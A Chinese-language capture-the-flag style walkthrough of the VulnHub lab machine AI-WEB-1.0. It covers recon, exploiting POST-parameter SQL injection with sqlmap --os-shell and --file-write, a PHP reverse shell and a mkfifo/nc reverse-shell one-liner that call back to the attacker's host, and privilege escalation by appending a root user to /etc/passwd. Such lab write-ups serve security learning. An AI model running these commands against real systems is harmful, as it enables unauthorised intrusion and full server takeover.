靶机AI-WEB-1.0

安装

靶机下载地址:https://www.vulnhub.com/entry/ai-web-1,353/

下载zip后解压

然后用虚拟机打开vmx文件

调成net,看到login就可以开始打了


信息收集

找ip

arp-scan -l

扫端口

nmap -A 192.168.160.146

扫到个80端口

接着用dirsearch扫

扫到个robots.txt

访问一下

给了两个目录

/m3diNf0/

/se3reTdir777/uploads/

访问一下都是Forbidden

访问一下是phpinfo()

先大概看几眼,待会有需要再来找

继续扫一下另外一个目录 /se3reTdir777/uploads/

什么也扫不到,把后面的uoloads删了就可以扫到了

扫到一个login页面

进去看看


漏洞攻击

测试一下

1正常回显

1′ 报错

1″正常回显

1′ #正常回显

那就是单引号闭合的sql注入了

手注太麻烦

试试用sqlmap

先bp抓下包,发现是post传参,把bp包放到kali桌面

这题用sqlmap爆数据库可以正常爆,但是爆不出什么有用的东西

这里需要用到一个之前没学过的知识

sqlmap的–os-shell命令

–os-shell命令成功后,sqlmap 将尝试打开一个交互式操作系统 shell,允许攻击者执行操作系统级别的命令

命令:

sqlmap -u "http://192.168.160.146/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

因为是post传参,所以用–data,后面的”uid=1&Operation=Submit”即post的参数

–level=3 表示 SQL 注入的测试级别为 3。级别越高,检测和利用漏洞的详细程度和强度越大

但–os-shell的使用需要绝对路径

想起来刚刚的phpinfo()

回到phpinfo找路径

搜CONTEXT_DOCUMENT_ROOT(根目录)

找到了根目录/home/www/html/web1x443290o2sdf92213

所以绝对路径就是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

这里我想不到为啥是这个,看别的wp的

但是可以一个个试,无非就是/se3reTdir777/uploads/和/se3reTdir777/index.php/login/

中间还需要选语言,选php就行

可以看到进入到了sqlmap的shell

接下来在kali新建一个反弹shell的文件,通过一个简单的http服务器下载到靶机里

在kali桌面建一个文件shell.php

将反弹shell的命令放入

<?php

$sock=fsockopen("192.168.160.133",8848);

exec("/bin/sh -i <&3 >&3 2>&3");

?>

重新开个终端,进入到shell.php所属目录,我放在桌面,进Desktop就行了

然后在本地启动一个简单的 HTTP 服务器

命令:

python3 -m http.server 8848

开放的端口为8848

访问一下

看到成功了,shell.php也在

接下来就是将该文件下载到靶机里

回到刚刚的shell命令行里

用wget命令把文件下载下来

wget -S http://192.168.160.133:8848/shell.php

下载下来了

此时可以关闭刚建的http服务器了

然后开监听

Nc -lvnp 8848

在靶机里执行shell.php文件

php shell.php

看一下监听

监听到了

用python开交互

python -c 'import pty;pty.spawn("/bin/bash")'

提权

思路就是利用openssl添加一个有root权限的用户,密码设简单点,然后添加到/etc/passwd里

然后切换新建的用户就行了

在Linux系统中我们要想手动生成一个密码可以采用openssl passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。

语法格式

openssl passwd [option] passwd

新建用户

openssl passwd -1 -salt h 123456

-l指定使用 MD5 算法进行哈希加密

h为用户名,123456为密码

将用户写入/etc/passwd文件里

echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd

/etc/passwd格式:

注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序

看一下有没有成功写入

cat /etc/passwd

成功写进去了

切换用户拿flag就行了

密码是刚设的123456

总结:

主要考点:

sqlmap–os-shell的使用

用python3 -m来新建一个临时的http服务器,在服务器里写入木马,然后下周到靶机里

用openssl新建用户,传到/etc/passwd里提权

中间还有一种拿shell的方法:

用sqlmap来上传木马

sqlmap -u "http://192.168.160.146/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

用蚁剑连接后执行

rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.160.133 6666 >/tmp/f

来反弹shell

网上很多wp都是用的这种方法,但不晓得为啥我反弹了的shell是这样的

没什么用,不晓得为啥,但是用sqlmap传文件和用蚁剑反弹shell感觉可以学下的

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇